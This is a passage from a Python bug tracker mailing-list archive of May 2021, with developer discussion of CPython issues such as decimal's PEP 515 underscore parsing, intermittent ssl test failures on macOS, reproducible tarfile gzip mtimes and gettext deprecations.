am_send in type object documentation (GH-25465) https://github.com/python/cpython/commit/0b11c429c7f1721d9ffb9ae19e3e8e2e7bd6444d ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 16:38:04 2021 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 May 2021 20:38:04 +0000 Subject: [issue42085] Add dedicated slot for sending values In-Reply-To: <1603136296.98.0.312180912341.issue42085@roundup.psfhosted.org> Message-ID: <1622320684.6.0.221518661013.issue42085@roundup.psfhosted.org> Irit Katriel added the comment: New changeset d338ce0796e5fe8e54dfe52f93ed9d5936ad3efe by Miss Islington (bot) in branch '3.10': bpo-42085: [docs] Add versionadded for am_send in type object documentation (GH-25465) (GH-26453) https://github.com/python/cpython/commit/d338ce0796e5fe8e54dfe52f93ed9d5936ad3efe ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 17:09:42 2021 From: report at bugs.python.org (Guido van Rossum) Date: Sat, 29 May 2021 21:09:42 +0000 Subject: [issue41249] TypedDict inheritance doesn't work with get_type_hints and postponed evaluation of annotations across modules In-Reply-To: <1594252058.32.0.479050209218.issue41249@roundup.psfhosted.org> Message-ID: <1622322582.11.0.300901259098.issue41249@roundup.psfhosted.org> Guido van Rossum added the comment: > What is/was the initial reason to not preserve the MRO for a TypedDict? Hm, I can't say for sure. I believe it had something to do with TypedDict instances being instances of dict at runtime, but I can't actually reconstruct the reason. Maybe it's written up in PEP 589, but I suspect not (I skimmed and couldn't find it). If you ask on typing-sig maybe David Foster (who contributed the initial idea and implementation) remembers. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 17:44:55 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 29 May 2021 21:44:55 +0000 Subject: [issue44229] Intermittent connection errors in ssl tests on macOS CI In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1622324695.43.0.479711462601.issue44229@roundup.psfhosted.org> Erlend E. Aasland added the comment: Here's the output when with test.support.verbose = True: test_ssl: testing with 'OpenSSL 1.1.1k 25 Mar 2021' (1, 1, 1, 11, 15) under Mac ('11.3.1', ('', '', ''), 'x86_64') HAS_SNI = True OP_ALL = 0x80000054 OP_NO_TLSv1_1 = 0x10000000 test_get_server_certificate (test.test_ssl.SimpleBackgroundTests) ... server: new connection from ('127.0.0.1', 51163) server: bad connection attempt from ('127.0.0.1', 51163): Traceback (most recent call last): File "/Users/erlendaasland/src/cpython-ssl/Lib/test/test_ssl.py", line 2366, in wrap_conn self.sslconn = self.server.context.wrap_socket( File "/Users/erlendaasland/src/cpython-ssl/Lib/ssl.py", line 518, in wrap_socket return self.sslsocket_class._create( File "/Users/erlendaasland/src/cpython-ssl/Lib/ssl.py", line 1070, in _create self.do_handshake() File "/Users/erlendaasland/src/cpython-ssl/Lib/ssl.py", line 1339, in do_handshake self._sslobj.do_handshake() OSError: [Errno 41] Protocol wrong type for socket ERROR ====================================================================== ERROR: test_get_server_certificate (test.test_ssl.SimpleBackgroundTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Users/erlendaasland/src/cpython-ssl/Lib/test/test_ssl.py", line 2130, in test_get_server_certificate _test_get_server_certificate(self, *self.server_addr, cert=SIGNING_CA) File "/Users/erlendaasland/src/cpython-ssl/Lib/test/test_ssl.py", line 2327, in _test_get_server_certificate pem = ssl.get_server_certificate((host, port), ca_certs=cert) File "/Users/erlendaasland/src/cpython-ssl/Lib/ssl.py", line 1520, in get_server_certificate with create_connection(addr, timeout=timeout) as sock: File "/Users/erlendaasland/src/cpython-ssl/Lib/socket.py", line 844, in create_connection raise err File "/Users/erlendaasland/src/cpython-ssl/Lib/socket.py", line 832, in create_connection sock.connect(sa) ConnectionRefusedError: [Errno 61] Connection refused ---------------------------------------------------------------------- The mock server fails with EPROTOTYPE, thus the client fails with connection refused. I found similar issues after doing some googling: - http://erickt.github.io/blog/2014/11/19/adventures-in-debugging-a-potential-osx-kernel-bug/ - https://github.com/benoitc/gunicorn/issues/1487#issuecomment-333680970 This might be the same macOS bug. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 17:53:07 2021 From: report at bugs.python.org (Muhammad Hussein Ammari) Date: Sat, 29 May 2021 21:53:07 +0000 Subject: [issue44265] Create an MSI Package Message-ID: <1622325187.57.0.0411972707678.issue44265@roundup.psfhosted.org> New submission from Muhammad Hussein Ammari : Hi, Please create an MSI package. (like Python v3.4.4 or Python v2.7.18) https://www.python.org/ftp/python/3.4.4/python-3.4.4.amd64.msi https://www.python.org/ftp/python/2.7.18/python-2.7.18.amd64.msi Thanks. ---------- components: Installation, Windows messages: 394740 nosy: paul.moore, steve.dower, tim.golden, xmha97, zach.ware priority: normal severity: normal status: open title: Create an MSI Package versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 18:23:06 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 May 2021 22:23:06 +0000 Subject: [issue44229] Intermittent connection errors in ssl tests on macOS CI In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1622326986.69.0.407523781002.issue44229@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > This might be the same macOS bug. It could be, but the same thing happens on Windows ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 18:46:16 2021 From: report at bugs.python.org (Joannah Nanjekye) Date: Sat, 29 May 2021 22:46:16 +0000 Subject: [issue43750] Undefined constant PACKET_MULTIHOST referred to in package socket In-Reply-To: <1617722506.16.0.590696167901.issue43750@roundup.psfhosted.org> Message-ID: <1622328376.93.0.281900593147.issue43750@roundup.psfhosted.org> Joannah Nanjekye added the comment: New changeset 5f28752f5b51a1866f2428eeaf6082266723c78d by Zackery Spytz in branch 'main': bpo-43750: Fix incorrect reference to PACKET_MULTIHOST in the docs (GH-25241) https://github.com/python/cpython/commit/5f28752f5b51a1866f2428eeaf6082266723c78d ---------- nosy: +nanjekyejoannah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 19:00:46 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 29 May 2021 23:00:46 +0000 Subject: [issue44261] SocketType documentation misleading In-Reply-To: <1622215302.61.0.335159257194.issue44261@roundup.psfhosted.org> Message-ID: <1622329246.26.0.916375069855.issue44261@roundup.psfhosted.org> Jelle Zijlstra added the comment: I propose to deprecate socket.SocketType. There's no reason to publicly expose _socket.socket separately from socket.socket, the only type that moat users should care about. SocketType isn't needed for type checking; socket.socket is itself a class and can be used in type annotations. ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 19:39:00 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Sat, 29 May 2021 23:39:00 +0000 Subject: [issue44262] tarfile: some content different output In-Reply-To: <1622216364.56.0.487056278945.issue44262@roundup.psfhosted.org> Message-ID: <1622331540.28.0.333798764423.issue44262@roundup.psfhosted.org> Filipe La?ns added the comment: I modified the script to keep the both Python generated tarballs and ran diffoscope, which presents the issue very clearly: $ diffoscope py.gz py2.gz --- py.gz +++ py2.gz ??? filetype from file(1) ? @@ -1 +1 @@ ? -gzip compressed data, was "py", last modified: Sat May 29 23:24:02 2021, max compression ? +gzip compressed data, was "py2", last modified: Sat May 29 23:24:03 2021, max compression The issue is that by default, when writing gzip files, the mtime will be set for the last modification. This is helpful, but might be unwanted in some cases. You can change the mtime as shown in [1]. Now let's take a look at the difference between the file Python generated and the one the `tar` command generated. $ diffoscope py.gz tar_a0.tgz --- py.gz +++ tar_a0.tgz ??? filetype from file(1) ? @@ -1 +1 @@ ? -gzip compressed data, was "py", last modified: Sat May 29 23:24:02 2021, max compression ? +gzip compressed data, from Unix It seems like it generates the same output here because the `tar` command does not set any mtime on the archive by default. [1] https://github.com/FFY00/trampolim/blob/dbd03c90eaa2cc732e1a01268786b491dc872fb7/trampolim/_build.py#L354 ---------- nosy: +FFY00 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 20:02:25 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Sun, 30 May 2021 00:02:25 +0000 Subject: [issue21550] Add Python implementation of the tar utility In-Reply-To: <1400669354.09.0.317678574527.issue21550@psf.upfronthosting.co.za> Message-ID: <1622332945.28.0.180074281859.issue21550@roundup.psfhosted.org> Filipe La?ns added the comment: Given the addition of the tarfile CLI and the seeming lack of interest, can this be closed? ---------- nosy: +FFY00 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 20:18:39 2021 From: report at bugs.python.org (Chinmay Malvania) Date: Sun, 30 May 2021 00:18:39 +0000 Subject: [issue44266] AttributeError: module 'sys' has no attribute 'original_stdout' Message-ID: <1622333919.37.0.77785339426.issue44266@roundup.psfhosted.org> New submission from Chinmay Malvania : I imported sys but when I use it, it says: AttributeError: module 'sys' has no attribute 'original_stdout' ---------- messages: 394746 nosy: chinmay.malvania priority: normal severity: normal status: open title: AttributeError: module 'sys' has no attribute 'original_stdout' _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 20:35:22 2021 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 30 May 2021 00:35:22 +0000 Subject: [issue44266] AttributeError: module 'sys' has no attribute 'original_stdout' In-Reply-To: <1622333919.37.0.77785339426.issue44266@roundup.psfhosted.org> Message-ID: <1622334922.18.0.139101607767.issue44266@roundup.psfhosted.org> Steven D'Aprano added the comment: Correct, sys has no attribute 'original_stdout'. Do you have a file called `sys.py`? Rename it. ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 21:30:11 2021 From: report at bugs.python.org (Dong-hee Na) Date: Sun, 30 May 2021 01:30:11 +0000 Subject: [issue44235] Remove l*gettext() and related functions in the gettext module In-Reply-To: <1621953507.1.0.183782210575.issue44235@roundup.psfhosted.org> Message-ID: <1622338211.75.0.497600091392.issue44235@roundup.psfhosted.org> Change by Dong-hee Na : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 21:29:55 2021 From: report at bugs.python.org (Dong-hee Na) Date: Sun, 30 May 2021 01:29:55 +0000 Subject: [issue44235] Remove l*gettext() and related functions in the gettext module In-Reply-To: <1621953507.1.0.183782210575.issue44235@roundup.psfhosted.org> Message-ID: <1622338195.3.0.467138777882.issue44235@roundup.psfhosted.org> Dong-hee Na added the comment: New changeset 14ba761078b5ae83519e34d66ab883743912c45b by Dong-hee Na in branch 'main': bpo-44235: Remove deprecated functions in the gettext module. (GH-26378) https://github.com/python/cpython/commit/14ba761078b5ae83519e34d66ab883743912c45b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 21:43:05 2021 From: report at bugs.python.org (Zac Hatfield-Dodds) Date: Sun, 30 May 2021 01:43:05 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622338985.77.0.533654677509.issue44246@roundup.psfhosted.org> Zac Hatfield-Dodds added the comment: Just chiming in with a plea to slow down the rate of changes to importlib.metadata - I understand that you want to tidy up the API, but even deprecations cause substantial work downstream. Would it really be so bad to support the older APIs until they go end-of-life in CPython? For example, in Hypothesis we care a great deal about compatibility with all supported Python versions (including treating warnings as errors) and try to minimize the hard dependencies. As a result, our entry-points handling looks like this: https://github.com/HypothesisWorks/hypothesis/blob/0a90ed6edf56319149956c7321d4110078a5c228/hypothesis-python/src/hypothesis/entry_points.py Change can be worth the cost, but there *is* a cost and the packaging ecosystem is already painfully complex and fragmented. Compatibility should be a foundational principle, not an optional extra _if someone presents a compelling use case!_ I'm also seriously concerned that you take GitHub links as an indication of who is affected. Python is very very widely used, including in environments that don't feed much back into the GitHub-open-source space, and I think it's important to avoid breaking things for low-visibility users too. ---------- nosy: +Zac Hatfield-Dodds _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 22:32:32 2021 From: report at bugs.python.org (Jordan Borean) Date: Sun, 30 May 2021 02:32:32 +0000 Subject: [issue37179] asyncio loop.start_tls() provide support for TLS in TLS In-Reply-To: <1559843713.76.0.0171515478407.issue37179@roundup.psfhosted.org> Message-ID: <1622341952.48.0.710082787054.issue37179@roundup.psfhosted.org> Change by Jordan Borean : ---------- pull_requests: +25050 pull_request: https://github.com/python/cpython/pull/26454 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 00:12:10 2021 From: report at bugs.python.org (Sergey B Kirpichev) Date: Sun, 30 May 2021 04:12:10 +0000 Subject: [issue44267] Wrong PEP 515 parsing in decimal module (both C and Python versions) Message-ID: <1622347930.35.0.888351355476.issue44267@roundup.psfhosted.org> New submission from Sergey B Kirpichev : While working on issue44258 I discover that the decimal module doesn't follow specification in PEP 515: "The current proposal is to allow one underscore between digits, and after base specifiers in numeric literals." (c) For example: >>> float("1.1__1") Traceback (most recent call last): File "", line 1, in ValueError: could not convert string to float: '1.1__1' but >>> from decimal import Decimal as C >>> from _pydecimal import Decimal as P >>> C("1.1__1") Decimal('1.11') >>> P("1.1__1") Decimal('1.11') Maybe this requirement could be relaxed in PEP, but it seems - this was already discussed (see Alternative Syntax section). Hence, I think this is a bug. Patch for _pydecimal attached. ---------- components: Extension Modules, Library (Lib) files: _pydecimal-pep515.diff keywords: patch messages: 394750 nosy: Sergey.Kirpichev priority: normal severity: normal status: open title: Wrong PEP 515 parsing in decimal module (both C and Python versions) versions: Python 3.11 Added file: https://bugs.python.org/file50071/_pydecimal-pep515.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 00:15:20 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Sun, 30 May 2021 04:15:20 +0000 Subject: [issue44267] Wrong PEP 515 parsing in decimal module (both C and Python versions) In-Reply-To: <1622347930.35.0.888351355476.issue44267@roundup.psfhosted.org> Message-ID: <1622348120.06.0.33295121607.issue44267@roundup.psfhosted.org> Change by Karthikeyan Singaravelan : ---------- nosy: +facundobatista, mark.dickinson, rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 01:04:05 2021 From: report at bugs.python.org (Sergey B Kirpichev) Date: Sun, 30 May 2021 05:04:05 +0000 Subject: [issue44267] Wrong PEP 515 parsing in decimal module (both C and Python versions) In-Reply-To: <1622347930.35.0.888351355476.issue44267@roundup.psfhosted.org> Message-ID: <1622351045.15.0.115438562696.issue44267@roundup.psfhosted.org> Change by Sergey B Kirpichev : Added file: https://bugs.python.org/file50072/0001-bpo-44267-fix-parsing-Decimal-s-with-underscores.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 02:21:45 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 30 May 2021 06:21:45 +0000 Subject: [issue32915] Running Python 2 with -3 flag doesn't complain about cmp/__cmp__ In-Reply-To: <1519342915.53.0.467229070634.issue32915@psf.upfronthosting.co.za> Message-ID: <1622355705.71.0.187010124134.issue32915@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 02:37:13 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 30 May 2021 06:37:13 +0000 Subject: [issue44229] Intermittent connection errors in ssl tests on macOS CI In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1622356633.41.0.0609809215924.issue44229@roundup.psfhosted.org> Erlend E. Aasland added the comment: > It could be, but the same thing happens on Windows Are you sure? All the reports are from macOS CI. Christian mentioned that it could be similar to another ssl test failure that also happen on Windows, but those tracebacks do not match the ones in this issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 02:40:00 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 30 May 2021 06:40:00 +0000 Subject: [issue44229] Intermittent connection errors in ssl tests on macOS CI In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1622356800.92.0.43531959494.issue44229@roundup.psfhosted.org> Erlend E. Aasland added the comment: See also bpo-43855. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 02:40:28 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 30 May 2021 06:40:28 +0000 Subject: [issue43855] test_ssl: test_msg_callback_deadlock_bpo43577() failed on macOS of GitHub Action In-Reply-To: <1618490997.04.0.782752491303.issue43855@roundup.psfhosted.org> Message-ID: <1622356828.48.0.145207292403.issue43855@roundup.psfhosted.org> Erlend E. Aasland added the comment: See also bpo-44229 ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 02:41:51 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 30 May 2021 06:41:51 +0000 Subject: [issue44260] _Random.seed() is called twice In-Reply-To: <1622212048.99.0.121842396012.issue44260@roundup.psfhosted.org> Message-ID: <1622356911.76.0.857305305906.issue44260@roundup.psfhosted.org> Raymond Hettinger added the comment: Consider moving seeding from _random.Random.__new__ to _random.Random.__init__. Since random.Random.__init__ doesn't call the super(), the C version never gets called, avoiding the double seeding. But, it still lets _random.Random function as a standalone class. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 03:13:31 2021 From: report at bugs.python.org (Ken Jin) Date: Sun, 30 May 2021 07:13:31 +0000 Subject: [issue41249] TypedDict inheritance doesn't work with get_type_hints and postponed evaluation of annotations across modules In-Reply-To: <1594252058.32.0.479050209218.issue41249@roundup.psfhosted.org> Message-ID: <1622358811.76.0.996954590393.issue41249@roundup.psfhosted.org> Change by Ken Jin : ---------- nosy: +kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 04:20:14 2021 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 30 May 2021 08:20:14 +0000 Subject: [issue44267] Wrong PEP 515 parsing in decimal module (both C and Python versions) In-Reply-To: <1622347930.35.0.888351355476.issue44267@roundup.psfhosted.org> Message-ID: <1622362814.31.0.116707837495.issue44267@roundup.psfhosted.org> Mark Dickinson added the comment: There was some discussion of this on the python-dev mailing list at the time - see https://mail.python.org/pipermail/python-dev/2016-March/143556.html and the surrounding thread. It's probably best left alone. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 04:25:06 2021 From: report at bugs.python.org (Sergey B Kirpichev) Date: Sun, 30 May 2021 08:25:06 +0000 Subject: [issue44267] Wrong PEP 515 parsing in decimal module (both C and Python versions) In-Reply-To: <1622362814.31.0.116707837495.issue44267@roundup.psfhosted.org> Message-ID: Sergey B Kirpichev added the comment: On Sun, May 30, 2021 at 08:20:14AM +0000, Mark Dickinson wrote: > There was some discussion of this on the python-dev mailing list at the time I see. > It's probably best left alone. PEP 515 is clear. If this is not a bug - it should be adjusted (as it claims to cover Decimal's among other stuff). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 04:32:40 2021 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 30 May 2021 08:32:40 +0000 Subject: [issue44267] Wrong PEP 515 parsing in decimal module (both C and Python versions) In-Reply-To: <1622347930.35.0.888351355476.issue44267@roundup.psfhosted.org> Message-ID: <1622363560.76.0.91696102304.issue44267@roundup.psfhosted.org> Mark Dickinson added the comment: > If this is not a bug - it should be adjusted Standards Track PEPs are historical documents; it's quite common that an actual implementation ends up diverging from a PEP in small ways after the PEP is accepted, and we don't usually do post-hoc updates in those situations. Possibly the decimal documentation could be updated, though. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 04:52:05 2021 From: report at bugs.python.org (Sergey B Kirpichev) Date: Sun, 30 May 2021 08:52:05 +0000 Subject: [issue44267] Wrong PEP 515 parsing in decimal module (both C and Python versions) In-Reply-To: <1622363560.76.0.91696102304.issue44267@roundup.psfhosted.org> Message-ID: Sergey B Kirpichev added the comment: On Sun, May 30, 2021 at 08:32:40AM +0000, Mark Dickinson wrote: > Standards Track PEPs are historical documents; it's quite common that an > actual implementation ends up diverging from a PEP in small ways after > the PEP is accepted, and we don't usually do post-hoc updates in those situations. Well, then I something misunderstood in PEP 0: --->8------ If changes based on implementation experience and user feedback are made to Standards track PEPs while in the Accepted or Provisional State, those changes should be noted in the PEP, such that the PEP accurately describes the state of the implementation at the point where it is marked Final. ---->8-------- I don't think that PEP describes the state of art in the decimal module. > Possibly the decimal documentation could be updated, though. The current behaviour is documented. Do you mean we should document disagreement with PEP as well? Regarding mail thread: I don't think that following the PEP will slow down string conversion. Also, probably we want that strings that supported by float() and Decimal() were interchangeable. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 04:58:56 2021 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 30 May 2021 08:58:56 +0000 Subject: [issue44267] Wrong PEP 515 parsing in decimal module (both C and Python versions) In-Reply-To: <1622347930.35.0.888351355476.issue44267@roundup.psfhosted.org> Message-ID: <1622365136.8.0.246943944419.issue44267@roundup.psfhosted.org> Mark Dickinson added the comment: > Well, then I something misunderstood in PEP 0 Yep, you're absolutely right. I should have said "after the PEP is final", not "after the PEP is accepted". PEP 515 was marked final on April 28th, 2017. > The current behaviour is documented. Thanks; I missed that. In that case, I don't think there's anything to do here documentation-wise. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 05:03:47 2021 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 30 May 2021 09:03:47 +0000 Subject: [issue44267] Wrong PEP 515 parsing in decimal module (both C and Python versions) In-Reply-To: <1622347930.35.0.888351355476.issue44267@roundup.psfhosted.org> Message-ID: <1622365427.19.0.4249435364.issue44267@roundup.psfhosted.org> Mark Dickinson added the comment: > Regarding mail thread: I don't think that following the PEP will slow down string conversion. Sorry, I just don't think it's worth re-opening this discussion; Stefan Krah had good reasons (not just speed) to avoid implementing a precise interpretation of PEP 515 for Decimal. It would also be a backwards incompatible change at this point to start refusing strings that were previously accepted. As I said, it's probably best left alone at this point. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 05:05:38 2021 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 30 May 2021 09:05:38 +0000 Subject: [issue44267] Wrong PEP 515 parsing in decimal module (both C and Python versions) In-Reply-To: <1622347930.35.0.888351355476.issue44267@roundup.psfhosted.org> Message-ID: <1622365538.33.0.963506024209.issue44267@roundup.psfhosted.org> Change by Mark Dickinson : ---------- resolution: -> wont fix stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 05:20:39 2021 From: report at bugs.python.org (Sergey B Kirpichev) Date: Sun, 30 May 2021 09:20:39 +0000 Subject: [issue44267] Wrong PEP 515 parsing in decimal module (both C and Python versions) In-Reply-To: <1622365136.8.0.246943944419.issue44267@roundup.psfhosted.org> Message-ID: Sergey B Kirpichev added the comment: On Sun, May 30, 2021 at 08:58:56AM +0000, Mark Dickinson wrote: > Yep, you're absolutely right. I should have said "after the PEP is final" Unfortunately, neither correction can fix that the PEP does not "accurately describes the state of the implementation at the point where it is marked Final." > It would also be a backwards incompatible change at this point to > start refusing strings that were previously accepted. I'm not sure... Well, it's not so clear which strings are accepted previously (i.e. what's was documented). PEP 515 claims one. The docs says something different: ---->8--- If value is a string, it should conform to the decimal numeric string syntax after leading and trailing whitespace characters, as well as underscores throughout, are removed ---->8------- and --->8------ Underscores are allowed for grouping, _as with integral and floating-point literals in code_. -->8------- The 1-st sentence doesn't specify the way underscores are removed. And given the 2-nd sentence: it's clearly can't be like the current behaviour of the Decimal constructor. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 05:44:10 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 30 May 2021 09:44:10 +0000 Subject: [issue44268] gettext: deprecate selecting plural form by fractional numbers (part 2) Message-ID: <1622367850.33.0.100033596673.issue44268@roundup.psfhosted.org> New submission from Serhiy Storchaka : Non-integer numbers in GNUTranslations.ngettext() are deprecated since 3.7 (see issue28692 for rationale). But I forget to add deprecation warning for default implementation (which just tests n == 1) and forget to add the "deprecated" directive in the module documentation. So currently gettext("Elapsed: %s second", "Elapsed: %s seconds", 1.25) will emit a warning if there is a translation for these strings, and no warnings if it is not translated yet, or translation file is not found, or null translation is used. It is now time to convert warnings to errors, but it would be error-prone since many developers do not have translations yet when write a code or use no translation (and fallback to hard-coded English). The safest way is to add deprecation warnings also for default and fallback implementation before turning all of them into errors. Pablo, can we add these warnings in 3.10? ---------- components: Library (Lib) messages: 394762 nosy: pablogsal, serhiy.storchaka priority: normal severity: normal status: open title: gettext: deprecate selecting plural form by fractional numbers (part 2) type: enhancement versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 06:36:22 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 30 May 2021 10:36:22 +0000 Subject: [issue44260] _Random.seed() is called twice In-Reply-To: <1622212048.99.0.121842396012.issue44260@roundup.psfhosted.org> Message-ID: <1622370982.99.0.0599495734149.issue44260@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +25051 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26455 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 07:45:10 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 30 May 2021 11:45:10 +0000 Subject: [issue21550] Add Python implementation of the tar utility In-Reply-To: <1400669354.09.0.317678574527.issue21550@psf.upfronthosting.co.za> Message-ID: <1622375110.24.0.0611796785227.issue21550@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: test needed -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 10:06:46 2021 From: report at bugs.python.org (Eric V. Smith) Date: Sun, 30 May 2021 14:06:46 +0000 Subject: [issue44265] Create an MSI Package In-Reply-To: <1622325187.57.0.0411972707678.issue44265@roundup.psfhosted.org> Message-ID: <1622383606.87.0.471900513754.issue44265@roundup.psfhosted.org> Eric V. Smith added the comment: See https://bugs.python.org/issue25124 for a discussion on why MSI won't be supported going forward. ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 10:31:47 2021 From: report at bugs.python.org (Andy Lowry) Date: Sun, 30 May 2021 14:31:47 +0000 Subject: [issue43858] Provide method to get list of logging level names In-Reply-To: <1618508817.95.0.500447634147.issue43858@roundup.psfhosted.org> Message-ID: <1622385107.94.0.294653056207.issue43858@roundup.psfhosted.org> Andy Lowry added the comment: @andrei.avk Yes, that sounds just fine. Many thanks. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 10:46:03 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 30 May 2021 14:46:03 +0000 Subject: [issue43858] Provide method to get list of logging level names In-Reply-To: <1618508817.95.0.500447634147.issue43858@roundup.psfhosted.org> Message-ID: <1622385963.38.0.430969520786.issue43858@roundup.psfhosted.org> Raymond Hettinger added the comment: > I can add getLevelNamesDict() which would return a copy of _nameToLevel That seem like the best approach. ---------- assignee: -> vinay.sajip nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 11:36:20 2021 From: report at bugs.python.org (Vasco Gervasi) Date: Sun, 30 May 2021 15:36:20 +0000 Subject: [issue44262] tarfile: some content different output In-Reply-To: <1622216364.56.0.487056278945.issue44262@roundup.psfhosted.org> Message-ID: <1622388980.83.0.0208814137951.issue44262@roundup.psfhosted.org> Vasco Gervasi added the comment: Dear Filipe, thanks for your answer. Following your suggestion, I have tried the attached file. The output is: $ python /data/compress.py b'68963e137ced6ee2aa5a93e155b201a3c172e2683d4b15a0eab7c1d8d43e48b4 /tmp/py_gzip.tgz\n' b'68963e137ced6ee2aa5a93e155b201a3c172e2683d4b15a0eab7c1d8d43e48b4 /tmp/py_gzip.tgz\n' $ rm -rf a/ $ mv py_gzip.tgz py_gzip.tgz0 $ python /data/compress.py b'9c897d82c332f0d5443fe66112abe5f318bf6e6574e44c5c3c385f398784ac35 /tmp/py_gzip.tgz\n' b'9c897d82c332f0d5443fe66112abe5f318bf6e6574e44c5c3c385f398784ac35 /tmp/py_gzip.tgz\n' $ diffoscope py_gzip.tgz0 py_gzip.tgz --- py_gzip.tgz0 +++ py_gzip.tgz ? --- py_gzip.tgz0-content ??? +++ py_gzip.tgz-content ? ??? file list ? ? @@ -1,4 +1,4 @@ ? ? -drwxr-xr-x 0 root (0) root (0) 0 2021-05-30 15:32:56.566535 a/ ? ? --rw-r--r-- 0 root (0) root (0) 6 2021-05-30 15:32:56.566535 a/eph0 ? ? --rw-r--r-- 0 root (0) root (0) 6 2021-05-30 15:32:56.566535 a/eph1 ? ? --rw-r--r-- 0 root (0) root (0) 6 2021-05-30 15:32:56.566535 a/eph2 ? ? +drwxr-xr-x 0 root (0) root (0) 0 2021-05-30 15:33:16.956535 a/ ? ? +-rw-r--r-- 0 root (0) root (0) 6 2021-05-30 15:33:16.956535 a/eph0 ? ? +-rw-r--r-- 0 root (0) root (0) 6 2021-05-30 15:33:16.956535 a/eph1 ? ? +-rw-r--r-- 0 root (0) root (0) 6 2021-05-30 15:33:16.966535 a/eph2 Even if I am specifing an mtime, it is not correctly applied. Thanks ---------- Added file: https://bugs.python.org/file50073/compress.py _______________________________________ Python tracker _______________________________________ 